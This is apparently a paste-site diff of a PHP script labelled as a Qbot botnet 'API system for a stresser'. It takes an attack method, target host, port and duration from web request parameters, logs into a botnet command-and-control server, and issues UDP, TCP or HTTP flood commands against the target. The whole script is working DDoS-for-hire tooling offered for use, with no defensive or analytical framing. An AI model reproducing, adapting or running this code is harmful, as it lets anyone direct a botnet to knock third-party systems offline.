SHOW:
|
|
- or go back to the newest paste.
1 | <?php | |
2 | // QBOT API SYSTEM FOR A STRESSER | |
3 | - | // MODIFIED BY n00dl3z |
3 | + | |
4 | - | |
4 | + | |
5 | ||
6 | //CNC SERVER IP | |
7 | $server = "YOUR_IP_HERE"; | |
8 | ||
9 | //CNC PORT | |
10 | $conport = YOUR_PORT_HERE; | |
11 | ||
12 | //Net Login | |
13 | $username = "Login"; | |
14 | $password = "Pass"; | |
15 | ||
16 | $activekeys = array(); | |
17 | ||
18 | $method = $_GET['type']; | |
19 | $target = $_GET['host']; | |
20 | $port = $_GET['port']; | |
21 | $time = $_GET['time']; | |
22 | ||
23 | ||
24 | //Commands (change accordingly) | |
25 | if($method == "UDP"){$command = "!* UDP $target $port $time 32 0 10";} | |
26 | if($method == "TCP"){$command = "!* TCP $target $port $time 32 all 0 10";} | |
27 | if($method == "HTTP"){$command = "!* HTTP $target $time";} | |
28 | ||
29 | $sock = fsockopen($server, $conport, $errno, $errstr, 2); | |
30 | ||
31 | if(!$sock){ | |
32 | echo "Couldn't Connect To CNC Server..."; | |
33 | } else{ | |
34 | print(fread($sock, 1024)."\n"); | |
35 | fwrite($sock, $username . "\n"); | |
36 | echo "<br>"; | |
37 | print(fread($sock, 1024)."\n"); | |
38 | fwrite($sock, $password . "\n"); | |
39 | echo "<br>"; | |
40 | if(fread($sock, 1024)){ | |
41 | print(fread($sock, 1024)."\n"); | |
42 | } | |
43 | ||
44 | fwrite($sock, $command . "\n"); | |
45 | fclose($sock); | |
46 | echo "<br>"; | |
47 | echo "> $command "; | |
48 | } | |
49 | ?> |